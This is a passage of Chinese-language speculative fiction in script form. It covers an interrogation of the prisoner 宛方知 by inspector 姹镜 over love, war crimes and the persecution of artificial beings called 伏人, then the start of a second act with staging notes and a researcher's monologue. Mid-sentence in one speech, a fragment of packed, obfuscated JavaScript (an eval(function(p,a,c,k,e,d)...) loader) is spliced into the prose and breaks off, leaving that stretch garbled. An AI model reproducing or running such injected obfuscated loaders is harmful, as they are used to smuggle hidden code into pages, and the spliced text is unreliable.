但现在,她不在。我拆开信封,里面只有一张很薄的信纸,纸上只有一行字:“去圣殿山找姹镜。”没有落款没有日期,没有任何解释或叮嘱,没有保重没有再见甚至没有称呼,就这一行字。圣殿山,妒部大本营,最高监察机构所在地,建筑高耸入云,全是金属和玻璃,戒备森严,到处都是穿着深紫制服面无表情的执法者,我去了,然后…然后我就见到了妳。姹镜监察长。第一次见到妳的时候,妳站在圣殿山入口那扇镌刻着复杂律法条文的安检门前,穿着深紫的妒部制服,肩章上的银纹在日光下泛着冷光,手里拿着数据板,正在和下属说话,语速很快条理清晰,我走过去脚步有些虚浮,妳听到脚步声抬起头。目光扫过我停留一瞬:“非工务人员止步,预约编号?”我把那封信递过去。 妳说:宛方知? 我说:是。 妳说:姚总督提过妳,跟我来。 我跟着妳,走在光洁得能照出人影的金属地板上,走在两侧高耸存放着无数档案的数据塔之间,我看着妳的背影,走路姿势肩胛线条,甚至妳抬手撩了一下耳侧碎发的动作……她把头发别到耳后时也是这个角度,都像,太像了,像到我心脏开始狂跳,像到我喉咙发紧,像到我差点就要脱口而出:姐姐。但我咬住嘴,用力把那个称呼,连同喉咙里涌上来的酸涩委屈、还有一点点的卑微期望一起咽了回去,因为我知道,妳不是她,理智在尖叫:看清楚,她是姹镜!一个妳从未见过却要决定妳未来的陌生人!一个长得和她如此相像、像到让人心碎的陌生人!” 远处广播:“《新伏法》最终条款,以七百八十三票赞成,一百零九票反对,十八票弃权,正式通过!于明日拂晓生效!”欢呼声隐约如潮。 姹镜: “那封信,是姚总督留给妳的唯一指示? 宛方知:“是。唯一的。” 姹镜: “她有没有解释,为什么要妳来见我?” 宛方知:“没有,一个字都没多写,干净利落像她的作风。但我猜…我猜,她是想让妳…看着我,像狱卒看着囚犯,像园丁看着病苗,像神明看着蝼蚁。监督我,在我可能行差踏错一脚踩空的时候,拉我一把或者推我一把。或者更简单一点,保护我,用妳的方式,用妒部监察长的权限,在我看不见的地方,织一张网,把我兜住,别让我摔得太碎,碎得拼都拼不起来。战后那段时间伏人的地位很微妙,我们立了功,流了血,死了人。数字报上去是功劳簿上冷冰冰的一行。但活下来的,呼吸着的,依然是“非法造物”。新法还在议会辩论桌上被各种势力拉扯修改涂抹,每个条款背后都是利益博弈鲜血筹码。很多从前线回来的伏人战士,还没等到论功行赏,还没摸到那枚许诺勋章就先等来了清算,旧账被翻出来,陈年的芝麻绿豆都成了罪证;小过被放大放大成十恶不赦;或者干脆被失踪,消失在某个深夜的押送车上,连个编号都不留下。她可能是担心我也成为其中一个,担心我这把太过锋利又沾了太多血,敌人的,同伴的,我自己的刀,最终会伤到自己,割破喉咙;或者被别人折断,折成几段,扔进熔炉里,化成铁水…所以让我来找妳,妳有权介入任何针对伏人的司法程序,有权调阅任何档案,哪怕是加密的,有权提出异议甚至暂缓执行,妳手里有笔,笔尖能划掉名字也能签下死刑。妳可以保护我,如果妳愿意的话。如果这是她的安排,如果她相信妳能做到,如果她认为妳值得托付,或者,我值得被托付。” 姹镜: “妳相信这是她的安排?” 宛方知:“我信。因为她从来不会做无意义的事。她说的每句话,做的每个决定,背后都有一套完整的逻辑和考量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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妳问我问题,关于战斗细节,关于伤亡评估,关于命令执行度,我看着妳,看着妳开合的嘴唇;看着妳握笔的手指;看着妳微微蹙起的眉头,脑子里想的全是她。想她如果在会怎么为我辩护,想她会用什么样的语气什么样的证据,来证明我的价值或者我的无辜,想她会穿什么衣服,是制服还是便装,会站在哪个位置,会用什么样的眼神看我,是鼓励是失望还是漠然?想她如果看到我穿着军装,胸前或许还能别上几枚临时颁发的廉价勋章却站在被审查的位置,会是什么表情?是失望于我的无能,还是了然于命运的戏弄,还是被她深深藏起的怜悯?然后我发现……我发现我在看妳的时候,心会不受控制地加速跳动,砰砰砰砰,像要撞碎胸骨,从喉咙里跳出来,滚到妳脚下,让妳看看这颗心是什么颜色,什么质地。手心会渗出冰冷的汗,喉咙里哑巴经被触动的灼烧感又开始在声带附近蔓延,像有火在烧,烧得我焦渴,想说话,想说很多很多话,想把胸膛里那团乱麻掏出来,展给妳看。 那种感觉……和我第一次意识到自己爱上她时一模一样,同一种混合着卑微渴望痛苦和甜腥的绝望感。但我告诉自己:不行。宛方知,醒醒,看看清楚,妳不是她,妳是另一个人,一个可能根本看不起伏人视我们为麻烦的造物、只是在执行工务完成某个故人托付的监察官。妳对我所有的关注,都源于那封信,源于职责,源于或许存在的一点点旧情分,而不是因为我本身,我必须清醒,必须把妳们区分开,她是她,妳是妳,哪怕妳们长得像,哪怕妳们的神态举止有重叠影子,哪怕我每次看到妳灵魂都在尖叫着想要靠近。但……但是,理智是堤坝情感是洪水……第三次见妳,是在我的临时拘留所,听证会后我被暂时限制离开首都等待最终裁定,妳来送一份补充材料需要我签字确认,听到声音我转头,像被闪电击中,又像突然失明,眼前只有妳的身影,映在视网膜上,因为太像了。像到让我瞬间恍惚,以为时光倒流魔法生效,我又回到了那个暴乱结束后的夜晚,那个昏暗的客厅,妳走到我面前,把那份材料放在小桌上推到我面前,妳说:签字,这里,还有这里。声音比在正式场合稍微柔和一点,我接过妳递来的笔,手指碰到妳的指尖,很凉,和她的手指一样。妳看了我一眼,只是弯下腰,把笔捡起来重新递给我。这次我小心地避开了触碰,指尖捏着笔杆冰凉的末端,像捏着炭火,低头签字。 妳看到了。 妳说:冷? 我说:不冷。 妳说:那抖什么? 我没回答。难道说,是因为妳太像她,像到让我心慌意乱,像到让我所有的防备和理智都土崩瓦解?难道说,是因为这触碰,这相似,这无法言说的移情,像一把钥匙,打开了我心底那扇锈死的门,门里关着的洪水猛兽正要咆哮而出? 不能说。说了就是疯,就是痴,就是把自己最柔软的肚皮袒露给妳任妳宰割,签完字我把笔和材料一起推还给妳。 妳的手指,只是指节那儿,不经意擦过了我的手背,可我的皮肉却轰地一下烫了,皮肤先是一缩,继而千万毛孔炸开,炸出针刺般的麻与痛。一点凉意成了引信,它钻进皮里,在血下游走,走一路烫一路,留下看不见的蜿蜒灼痕。我整个人弹起来向后踉跄, 妳抬起眼眉头一蹙,眉心的皮肉聚起极浅的竖褶,这蹙法我认得,她烦闷时,想不通时,或是觉得眼前人事芜杂得令她生厌时,就会这样。妳看我:“还有事?”“没…没有。”妳不再看我,只道:“那好好待着。结果很快会通知妳。”妳拿起那些纸张离去。我动弹不得,眼睛垂下来看自己的手背,那烫开始蔓延,沿着手臂筋络往上爬,爬过肘弯,那里便酸软;爬过肩胛,骨头缝里便泛起细碎的痒;爬到脖颈,喉头便是一紧;最后,热气蒸腾上来,扑到脸上,整张脸颊都烧了起来,烧得眼底都泛起一层薄薄的红。从那一刻起,我知道,我完了。不是轰然倒塌的完,是悄无声息地陷进去,像赤脚走在极细的沙上,看着挺实,一脚下去却温软地包裹上来,淹过脚踝淹过膝盖,一点一点,没顶。又像是站在悬崖边,明知下面是虚空,身子却不由自主地往前倾,不是风推,是骨头里有什么东西,拉着妳,拽着妳,往那黑暗里坠,理智是挂在悬崖边上的一根枯藤,看着粗,一抓,咔嚓就断了。 我爱上了一个影子。一个走路时肩背挺直的弧度、蹙眉时眉心那一道浅痕、连指尖那点润润的凉意,都和她叠在一起的影子。我清醒地知道,这是虚的,是假的,是心缺了一块,便胡乱抓了块相似的碎片,硬往那缺口上摁,摁得鲜血淋漓,可那痛里竟也生出到了贪性满足。我恨自己这卑贱,恨这身体不听使唤,妳一靠近,哪怕只是衣角带起的风,都能让我心跳如擂鼓,擂得胸口发闷,擂得指尖发颤。恨这耳朵,能从妳最工事工办的腔调里,剥出那一丝半缕或许根本不存在的、与她相似的沙哑尾音,恨这眼睛,总是不由自主地追着妳的背影,看那发髻挽起的形状,看那制服下摆晃动的节奏,看着看着就看成了双影,妳的,和她的,叠在一起,分不清,扯不散。 这不对,我知道。妳不知道妳像谁,不知道妳这一蹙眉、一转身,在我这里掀起了怎样的惊涛骇浪,不知道妳之于我,是怎样一个甜蜜又残酷的刑罚。这对我更是残忍,是在旧伤疤上又生生撕开一道新口子,然后往里撒盐,是掺了糖霜的盐,初尝是幻觉的甜,咂摸下去,才是锥心绵长的咸与苦。可我停不下来,就像此刻,我看着妳,隔着这一层泛着冷光布满能量网格纹路的玻璃,玻璃那头,妳坐着,紫色制服挺括,银纹肩章凛然,妳拿着笔在板子上写着什么,侧脸沉静眉眼低垂,可我只想着,如果…如果这玻璃突然就化了,像春日屋檐下的冰棱,悄无声息地,化成一滩没有形状的水,流走了。如果扣着我手腕脚踝的这些金属环,咔哒几声自动弹开,掉在地上,发出沉闷解放的声响。如果我能够站起来,不是踉跄地,是稳稳地,像个人一样,站直了。然后,走过去,一步,两步,走到妳面前。近到能看清妳睫毛究竟有多长,是微微上卷,还是直直垂下;近到能闻到妳身上,除了制服浆洗过的冷硬气味之外,是否还有一丝别的,比如,袖口沾染的极淡墨香。 如果…我可以伸出手。不是攻击,不是祈求,不是抓住什么稻草那般狼狈。只是想…碰碰妳的手,就像很久以前,在那个昏暗到空气都凝滞了的夜里,她用指尖碰了碰我的脚背那样。轻轻地,用我的指尖碰一下妳的手背,就一下,碰触那片皮肤,感受那里的温度,是和她一样的润润凉还是别的什么?是光滑如瓷,还是带着常年握笔、或是其余什么我不知晓的劳作留下的点点薄茧?那触感,是会让我如遭电击猛地缩回,还是会让我像抓住浮木一般再也舍不得松开? 妳会怎样?会像被火燎到一样,迅速抽回手,然后用那种看脏东西的、混合着惊怒与鄙夷的眼神,刺穿我吗?嘴唇里吐出的字眼,会是“请自重,编号3-7-4-9”,后面跟着一长关于纪律和后果的条款。还是会愣住?眼睛微微睁大,那里面惯常的平静被打破,闪过真实的、属于姹镜这个人的错愕与困惑?甚至或许还有被冒犯的慌乱?然后,妳会迅速武装起来,命令我“退后”,“保持距离”,或者…或者,在那亿万分之一、渺茫到几乎不存在的可能性里…妳会像她吗?会用那种我永远也看不懂的复杂眼神静静地看我一会儿吗?那眼神里或许有审视有衡量,有对眼前这荒唐局面的评估,但或许或许也会有那么一丝丝,被这突如其来的绝望触碰所微微搅动的波澜?然后,妳或许会叹一口气,那叹息一定很轻,可落在我心上只会重得像铅块 妳会说吗?说…阿直,别这样…” 姹镜: “说完了?” 宛方知:“说完了。” 姹镜: “妳的情感陈述,与案件无关,但我会记录下来。战争结束后,妳因在深潜行动中的表现获得战功提名,但同时,妳也被指控在暴乱期间“过度使用武力”,导致三名伏人永久性神经损伤。这两件事,妳自己怎么看?” 宛方知:“战功……那是六个伏人,用命换来的。是用她临终前把最后的信息芯片塞进我手里时沾满血的手指换来的;是用她用身体挡住能量乱流、后背被烧得焦黑时一声闷哼换来的;是用她算到大脑毛细血管破裂、鼻血滴在数据板上、晕开朵朵血花换来的;是用她偷来了关键坐标、自己却暴露在监测下、被能量束擦过脸颊留下一道永久的疤换来的;是用她一边吐血一边给我们挨个注射抗污染血清、针头都拿不稳换来的……那不是我一个人的。是把六个伏人的命、血、骨,混在一起,揉碎了,再捏成型,才勉强够到的一个战功。 至于指控……我承认我伤了她们。在那种情况下,在她可能受伤的瞬间,我的身体比脑子动得快,理智还在衡量得失,肌肉已经做出了反应。我没有过度使用武力。没有虐杀没有折磨没有不必要的痛苦施加,我只是做了当时唯一能想到的、保护她的选择。一个伏人,保护一个女人,一个总督,听起来多讽刺多悖逆,多不自量力。但我选了。我选择了站在她那边。站在合法的那边,尽管法律并不保护我。站在秩序的那边,尽管秩序将我排除在外。站在保护者的那边,尽管我可能只是她众多所物中比较顺手的一件。 但讽刺的是我拼死保护的那个人,后来成了我的审判者之一,不是亲手,她的名字没有出现在起诉书上,但她的沉默,她的离去,她留下的这封信和这个指向妳的谜题,本身就是审判,是更隐晦更沉重的判决。而我伤害的那些同类,那些被我划伤胳膊和腿的伏人,那些后来可能也上了战场、拖着未愈的伤、也可能死在某次冲锋里、或者侥幸活下来却依然一无所有的伏人……在那场战役里,在泥泞和能量废墟中我们却成了战友。肩并着肩,背靠着背,把命交给对方,我们并肩作战,一起流血,一起在死亡边缘爬行,互相拖拽互相嘶吼,用眼神用手势用一切能用的方式,一起为了这个根本不把我们当人、只当我们是工具、是耗品的星球拼命,拼得肝脑涂地,拼得魂飞魄散。然后呢?活下来之后,依然是被追捕的非法造物,是档案里的冰冷编号,是新法辩论桌上可以被牺牲可以讨价还的筹码。 而我,因为保护总督有功,因为战功提名,成了有特殊价值的伏人,坐在这里,穿着这身耻辱囚服,手腕脚踝扣着抑制环,接受妳的审讯,等待一个或许更仁慈、或许更残酷的裁决。 妳说,这算什么? 这到底算什么?!!” 姹镜: “注意妳的措辞。” 宛方知:“监察长大人,我连爱这个字都不敢对妳说出口,怕玷污了它,怕冒犯了妳,怕显得我更可笑,我连看着妳的眼睛都会发抖,像赤身裸体站在冰天雪地里,我还会在乎什么措辞?措辞是衣服,是面具,是妳们文明人玩的游戏。我早就□□了,从里到外,从魂到骨。我只是想知道……我只是想问问妳,以一个旁观者,一个裁决者,一个和她长得如此相像、像到我每次看到妳、心都会漏跳一拍的人的身份。如果有一天,命运把妳逼到一个角落,没有退路没有转圜,一边是一个爱得卑微如尘却也恨到骨髓里恨得咬牙切齿的人,爱恨交织,成了血肉部分剥离不开。另一边,是一群和妳流着同样的血、皮肤上刻着同样的拼接线、承受着同样苦难和屈辱的陌生人,妳们素不相识,但妳们的痛苦同源妳们的沉默同调。 妳必须选一边。选爱人,妳就要亲手把刀捅进同类的胸口,看着她们的血溅到妳手上,那血是温的,带着和妳一样的心跳频率。选同类,妳就要背叛那个给妳名字、给妳意义、给妳一点点虚幻温暖却也给妳无尽痛苦和困惑的爱人,把她推向深渊,或者,被她推向深渊,妳会怎么选?告诉我。我真的很想听听妳的答案。不是监察长的答案,是姹镜的答案,我只想知道,是不是只有我这么蠢,这么矛盾,这么活该,活该被爱折磨,活该被恨吞噬,活该卡在这进退维谷的夹缝里被碾成粉末。” 姹镜: “我的答案,与妳无关。我的职责是审查事实,依据法律条文做出判断,不是提供人生建议也不是解答情感谜题。最后一个问题,姚总督在调离前,是否给过妳任何关于她未来去向的暗示?任何可能解释她为何突然消失且不留任何联系方式的线索或信息?” 宛方知:“没有,我试过找她。用尽我能想到的所有办法:打听她新部门的同事,旁敲侧击,得到的都是官方说辞;查询工开的调度记录,记录只有一行字,没有细节;甚至动用了在战场上建立的、不那么合法的渠道,那些在阴影里行走的人消息灵通,但也只摇摇头,说查无此人或者权限太高,但都没有任何消息。除了哑经里。” 姹镜: “哑经?” 宛方知:“伏人生来就有的诅咒。生理结构完整,声带、舌头、口腔,一切都正常,医生检查过无数次,结论都是可以发声,但就是发不出有意义的声音。除非被女人以伴侣之爱爱上,不是怜悯,怜悯是居高临下的施舍;不是同情,同情是隔岸观火的唏嘘;不是好奇,好奇是浅尝辄止的玩弄。是全然灵魂层面的接纳与共鸣,接纳全部包括非法、拼接线、沉默、卑微、疯狂……被女人爱上是我们获得声音确认自身存在价值的唯一方法,很荒谬对吧?把话语权,把表达的资格,把存在发声的证明完全系于另一个人的爱上,像把命脉交到别人手里,她握紧,妳生;她松开,妳死。 我经历过两次松动,第一次是和她回家,第二次是现在,每次见到妳,每次和妳说话,哪怕只是隔着这层厚厚的冰冷玻璃看着妳。我的喉咙里就像养着一窝不肯出声的鸟,它们用喙啄着我的气管;用翅膀拍打着我的食道;想要冲出来,冲破血肉牢笼发出刺耳叫声。我想对妳说话,想说很多很多话,想喊妳的名字,姹镜,两个字,舌尖抵上齿龈,气流冲出声带振动,应该是什么样的声音?想问妳到底是谁。 问妳为什么长得那么像她,是巧合吗?这世上里真有如此相像的两个人,连神态气韵都如出一辙?还是血缘?姐妹?母女?或者某种不敢深想的诡异安排? 问妳…有没有可能…有没有哪怕一丝一毫的可能性…像露酿沧溟,像羽载岱岳,像亿万分之一概率的奇迹…妳对我…妳对我…也有那么一点点不一样的感觉?不是监察长对囚犯,不是执行者对任务目标。是姹镜对宛方知。一个人对另一个人。哪怕那感觉只是怜悯,只是好奇,只是未曾察觉的触动?” 姹镜: “时间到了。妳的陈述我已经记录,最终复核结果,会在新法正式颁布后,按规定流程众示。在此之前保持安静,不要尝试联系任何人,包括我。” 宛方知:“等等!姹镜!我…我还有一句话,就一句。” 姹镜: “说。” 宛方知:“如果…如果有一天,我死了。 不是如果,是肯定,我知道我的结局,从我拿起刀保护她的那一刻,从我爱上她、又爱上妳这个影子、这双重无望的痴妄开始,结局就已写好,墨迹淋漓,是血的颜色。如果我的遗骨,像她们说的那样,被净化被灼烧,剔除所有杂质和记忆,变成支撑新生命的一部分,没有温度没有名字,只有一串编号被灰尘覆盖,妳会…会偶尔路过那座殿堂的时候,在某个黄昏或者清晨,紫色天光斜斜照进回廊,妳会停下脚步目光漫无目的地扫过那些肉脯,然后落在其中一块上吗? 会记得…曾经有一个伏人,编号3-7-4-9,她曾经坐在这层隔绝生死的玻璃后面,穿着橙色囚服,手腕脚踝扣着抑制环,用像要将妳生吞活剥又小心翼翼供奉起来的眼神,看过妳吗?” 姹镜: “不会,我的职责是维护法律,执行程序,确保秩序,不是纪念死人,不是承载回忆,不是回应任何超出职责范围的情感投射。保重,宛方知。” 圣殿山,妒部办工室 姹镜: “今日特供伏味饭?是了。战时条例延续,伏人遗体经净化处理,制成高蛋白营养基质,配给监察及执法部门,称伏人饭。美其名曰:资源不浪费,牺牲有回响。 果然细腻,不用费力便在舌面上化开,留下一层微微发黏的触感,味道先是人造调味剂的咸鲜,很制式很标准,然后,一层滑腻感退去,舌尖深处泛起极其隐约的苦,这就是那些战场回来或从黑市回收的伏人遗骸,经高温高压反复净化后,剩下的最后一点物质存在?肉纤维感觉不到,完全均质化了。像把一整段人生、一整具挣扎过的躯体、所有爱恨情仇、皮肤上那些蜿蜒的拼接线、喉咙里未能发出的呐喊,统统丢进巨大的反应釜里搅碎分解提纯,最后就成了这盒子里温顺无声可供果腹的灰白膏体。多有效率,多符合资源循环的最高准则,都是材料,都是被使用被安置被赋予后续价值的物体,柱石撑起殿堂,肉糜供养躯壳,各得其所。 我在想什么?不过是一份标准化配给的食物。不过是一块经过合法程序处理的蛋白质。和那些矿坑里开采出的能量结晶,那些培养槽里长出的合成谷物,那些从古老地层中提炼出的稀有金属并无区别,都是紫云星雪青国这座庞大机器运转所需的燃料或零件。只是…为什么舌根那点苦味久久不散? 为什么看着这膏体,会想起玻璃后面那双盯着自己烙着血丝的眼睛?为什么会想起她说到脚背被触碰的感觉时嗓音里那种碎裂的温柔?为什么会想起她最后那个问题,“妳会记得吗?” 姹镜,妳今日思虑过多,是审讯时听了太多私人化情绪泛滥的陈述被感染了,需警惕。 不过一块肉,何苦这多烦恼。 明日还有堆积如山的卷宗要复核,还有三个跨部门的协调会议要主持。 新法颁布,明日整个司法实践都要随之调整,那才是妳该耗费心神的地方。 至于那伏人…… 至于那双眼睛…… 至于那点舌尖上徘徊不去似有若无的苦…… 不过一块肉罢了。” 2. 第二幕 时间:雪青历487旋霜月第二十三日 ·新法颁布前七十二小时 ·歌虎杖死亡后第六十九日 ·姞玄转入嫖部研究室的第四十一日 地点:主场景:嫖部古生物比较学第三研究室,地下深层恒温区 ·记忆场景:奸部情报分析科办工室、政务厅顶楼露台、酒馆卡座、歌虎杖工寓卧室、刺杀现场露台 ·意识场景:姞玄的梦境碎片、情感地质学数据可视化空间 人物:·姞玄:穿着深灰研究制服,袖口沾着矿物粉尘,左手无名指根部有长期摩挲形成的细微茧痕。 ·歌虎杖(遗骨标本GHZ-04):置于双重真空恒温箱中,胸椎切片悬浮在缓冲液里,情绪化石层在特定光谱照射下泛起虹彩。 ·姞凌霄(数据投影):四千三百二十七页档案以三维星图形式悬浮在东墙。 ·其余:实验室掘骨者(低沉的合成女声)、自动采样机械臂(移动时发出精确的齿轮咬合声)、通风系统气流监测器(每五分钟报告一次微粒浓度)。 空间结构:研究室呈六边形,边长7.3米,模仿蜂巢结构以优化声学共鸣。 ·北侧:遗骨分析区,三台原子干涉仪呈等边三角形排列,中央是恒温箱。 ·东侧:档案投影墙,表面覆盖可触控液晶薄膜。 ·西侧:生物化学工作站,离心机、质谱仪、基因测序台。 ·南侧:姞玄的个人工作区,操作台上散落着二十三本手写笔记、七个空咖啡胶囊、一个装着干枯雪松枝条的玻璃瓶。 ·天板:镶嵌着可调节光谱的全息星图,当前显示紫云星域与周边十二个流浪星体的实时位置。 ·地板:深灰色吸音材料,每隔0.5米嵌有微弱的导向光带,通向不同功能区。 灯光系统:·主照明:冷白色无影灯,色温6500K,覆盖遗骨分析区,确保零阴影观察。灯罩边缘有细微的紫外线泄露,在空气中形成淡紫光晕。 ·辅助光:记忆场景触发时,对应区域的灯光自动切换为暖黄色并产生柔和光影层次,模仿政务厅午后的日光、酒馆壁灯、卧室夜灯。 ·情感光谱投射仪:安装在恒温箱上方,可发射32种特定波长的光,用于激发情绪化石的矿物显色反应,当前设定:波长589纳米、波长434纳米。 ·应急照明:沿墙脚分布的暗红色LED,平时不可见,仅在电力中断时激活将整个房间染成血痂颜色。 关键过渡效果:当姞玄的讲述触及深度记忆时,实验室发生以下同步变化:1. 主照明渐暗至30%,暖黄光在特定区域亮起。2. 通风系统切换至“静默模式”,气流声从35分贝降至18分贝。3. 星图天花板上,与记忆相关的那颗星体亮度提升300%。4. 姞玄工作台上的雪松玻璃瓶,内部枝条因微振动发出类似叹息的摩擦声。 声音景观:持续低频层:·恒温箱压缩机·地下岩层应力释放·灵能粒子过滤网 间歇中频层:·自动采样机械臂运动声·质谱仪分析完成提示音·档案投影墙翻页声·姞玄的心跳监测 环境音效层:·通风管道深处:偶尔传来其余研究室废弃样本处理器的碾压声·地下水渗透:南墙角落有极细微的滴水声,每滴间隔不规律·姞玄的生理音 记忆音效层:·奸部办工室:加密通讯的电流噪音、数据板按键的哒哒声、深夜独处时椅子轻微的呻吟。 ·政务厅露台:远处城市的低频轰鸣、风吹过制服下摆的布料摩擦声、虎杖手中未点燃的烟被捏扁的细微碎裂声。 ·酒馆:老式唱片机针头划过黑胶的底噪、冰块坠入烈酒杯的清脆、木质桌面被指甲无意识刮擦的涩响。 ·刺杀现场:雨前空气电离的臭氧味、刀锋切割织物与皮肤的混合声、虎杖最后呼吸时气管内液体晃动的汩汩声。 姞玄: “今天,不,日期是地质学最虚弱的幻觉,岩层不标记元年,化石不承认纪年,暂且就叫它第三次解剖日吧。 我面前有三具标本。第一具躺在恒温冷光里,编号GHZ-04,那不是名字,是档案系统吞吃一条生命后排泄出的金属粪便,但我习惯叫她歌虎杖,她的胸椎在偏振光显微镜下会呈现出虹彩,妳知道,那种美诞生于几百万年的压力与巧合,只是为了被某一刻的某一双眼睛看见,然后继续沉默。第二具没有实体,是一叠纸,是墨迹组成的语法,是语法构建的迷宫,是迷宫深处永远背对参观者的背影,我叫她姞凌霄。第三具…第三具坐在这里,这具标本的名字还在变化:姞玄、二级参事、古生物研究员、刺杀者、模仿者、情感残疾、以及地质学家,对,就这个吧,地质学家,一个试图在生命的碎屑里挖掘时间,却连自己属于哪一层岩系都说不清的可笑勘探者。 她们,那些穿着白衣信仰数据的人,会说情感地质学是巫术复兴术,说情绪怎么可能固化成矿物,说爱恨不过是神经元之间短暂的化学焰火,死后就该彻底氧化,连灰烬都不该留下。可她们没有用原子力显微镜的探针抚摸过虎杖腰椎侧面的波纹状沉积,那不是什么矿物,那是一首诗,一首用钙、磷、微量金属元素、以及某种尚未命名的、只能在绝对绝望中结晶的物质写成的诗,它的晶体结构违反了一切教科书上的对称法则,它呈螺旋状上升却在每个转角处突然塌陷,形成微小的黑洞凹陷。 她们也没在档案馆的防磁库里,对着凌霄批注工文时留在页边的细如蛛丝的墨迹发过呆,她的句号总是画得很圆,她的问号最后一笔会轻微颤抖,她的删除线是微微向右上方倾斜的弧,那是手腕在极度疲惫时肌肉记忆给出的诚实背叛。 她们更没有像我此刻这样,坐在全紫云星离喑兽化石最近的地方,嫖部第七深掘实验室,墙壁里嵌着从地心带上来的、还残留着创世余温的灵骨矿脉样本,对着麦克风试图用声波雕刻一个故事,故事很简单:两座高冈一个死人,一个活在夹缝里的活人。高冈不是山,是两具无法跨越的躯体:一具已经冷却一具还在燃烧。死人不是尸体,是某种比死亡更顽固的增殖菌落,活人…就是我,一个还能呼吸进食、撰写述文、但灵魂的一部分已经变成化石陈列柜的地质学家。 所以,让我们开始这次解剖。皮肤会撒谎会结痂会伪装愈合,肌肉只是力的虏隶,被神经鞭打着重复收缩与舒张的单调劳动,甚至不从骨骼开始,骨骼太诚实了,诚实记录每一次断裂与愈合,诚实地把秘密以增生与钙化的方式告之于众反而让人不敢直视,让我们从结痂处开始。 好。 按下录音键。 让声音探针刺入第一层沉积岩。” 姞玄: “雪青历486旋风月第七日,这个日期我背诵过无数次,不是纪念只是坐标。那天是我的人生断裂带,断裂带不是悬崖,是地壳深处两块板块缓慢挤压摩擦、积蓄应力,直到某一刻,应力超过岩石强度,于是大地出现一道肉眼看不见但所有仪器都会尖叫的缝隙,从那道缝隙开始,之前的地层错位,之后的沉积改道,所有生命都要重新学习如何在不稳定的斜坡上行走。 那天之前,我叫“姞玄”,一个符合所有官僚系统审美标准的合格零件: ·材质达标:帝国大学工共管理系最优等毕业,论文题目《情绪资源量化分配在跨部门协作中的边际效应分析》,被收录进当年《奸部优秀学术成果摘要集》第47页。 ·表面处理光洁:无不良政治记录,家族三代无伏人接触史,三个伴侣分别来自妖部、妓部、妨部,构成完美的情感能力三角支撑。 ·运转噪音低:准时上班,精准完成KPI,会议发言控制在3分半钟内,从不越级汇报,但也绝不替直属上司背不必要的黑锅。 我的生活像一台保养得当的精密仪器:工寓恒温22度,湿度45%,空气净化器每隔两小时自动运行15分钟。书架上的书按出版年份与主题双重分类并用便签标出重点段落页码。冰箱里的食物用透明收纳盒分装,标签注明购买日期与最佳食用期限。每周二、四、六分别与三位伴侣共进晚餐,话题轮流围绕她们的专业领域展开,确保每个人都感受到关注温暖,但又不至于产生独占错觉。 这就是女人的情感范式:多焦点可调度、资源优化配置,我们被教导,情感不是深渊,是可管理的能量流,爱一个人就像爱一片风景、爱一首诗歌、爱一种思想,可以同时爱很多片风景只要心灵容量足够大;可以今天沉浸在这首诗的韵律里,明天被那首诗的思想照亮,这叫丰盈。 我们不被允许沉溺,沉溺是伏人才会得的病,是那些生理结构残缺、情感回路扭曲、存在根基摇晃的生命才会陷入的黏稠沼泽。我们怜悯她们,研究她们,有时也会被她们绝望的专注所短暂吸引,就像观察一只扑火的飞蛾,会感慨那份壮烈但绝不会想成为那只飞蛾。 我以为我懂这套逻辑,我以为我熟练掌握了如何在情感浅滩嬉戏,既不弄湿鞋袜又能欣赏浪花。直到那通加密通讯伸进我井然有序的生活,夹住了某个我从未意识到其存在的东西,也许可以叫它灵魂?然后,狠狠一拽。” 妙姑: “小玄,有座桥需要妳造。” 姞玄: “桥。这个意象后来反复出现在我的梦境,每次都变形: ·有时是朽木搭的独木桥,下面是沸腾的岩浆,我必须走过去,手里还捧着一碗不能洒的水。 ·有时是栈道,每走一步都能听见玻璃即将碎裂的呻吟,但不能停。 ·有时只是一根绷在两道悬崖间的钢丝,我走在上面,风吹得我摇晃,而钢丝两端一边是虎杖燃烧的眼睛,一边是凌霄冰冷的墓碑。 ·更多时候,桥本身是透明的,我走在上面,却看见下面不是深渊,是无数双眼睛,同僚的、上司的、伴侣的、还有我自己的,它们在看着我,计算我的平衡,预测我的坠落,评估我摔下去时的姿势是否符合失败的标准。” 妙姑: “歌虎杖。那个卡在体制喉咙里、不肯化掉的刺伏。” 姞玄: “她的资料在我脑中自动调出: ·歌虎杖。第四代伏人。创造者未知。三母:婕锋(嫉部,战死)、妤霆(妓部,事故死)、妨砾(妨部,失踪)。童年流浪史。十五云被姞凌霄从街头捡回,经六年社会化改造,进入政务厅下属的伏人事务协调处。战功显著但政治倾向危险,与凌霄关系密切,被怀疑掌握后者大量未众开政治遗产及私人信息。 ·外部评价两极:在支持者口中,她是伏人权益的象征性突破;在反对者口中,她是凌霄总督个人实验里最危险的副产品。 ·私人观察:她站在凌霄身后半步,总是侧身,目光落在凌霄的肩线与耳廓之间那片狭窄区域。” 妙姑: “走过去。把她怀里那些东西,账本密录、凌霄临死前塞给她的那些疯话,一样一样取出来,若她不允就拆桥,连地基一起拆。” 姞玄: “地基是什么?是虎杖对凌霄的信仰?是她那套从街头带来的、粗糙有效的生存逻辑?还是她作为一个人的全部存在根基?我没有问。在系统里,问题本身常常就是答案——被分配到某个任务意味着系统已经评估过:第一,妳能完成;第二,完成后的妳,无论变成什么形状都还在系统的可回收范围内。 通讯切断据板亮起,一张照片弹出:歌虎杖站在政务厅顶楼露台,紫云正经历日落后最剧烈的色相变化:从暗红过渡到绛紫最后沉淀为靛蓝,云层是翻滚的,她背对镜头面朝云海,左手搭在栏杆上,右手垂在身侧握着一枚东西,放大后能辨认是凌霄那枚珍珠耳钉的真品。她的颧骨像岩壁,嶙峋锋利,眼角细纹是长期眯眼留下的痕迹,伏人的视力在弱光下优于女人,她习惯了在昏暗处辨认形状所以养成了眯眼的习惯。而最让我无法移开视线的,是她耳垂上那枚珍珠耳钉旁的旧疤,像是月牙瓷片嵌在皮肤里。那是穿耳洞时感染留下的?还是某次街头斗殴的纪念?或者是凌霄第一次给她戴上这枚耳钉时因为紧张或笨拙钩子划破皮肉留下的? 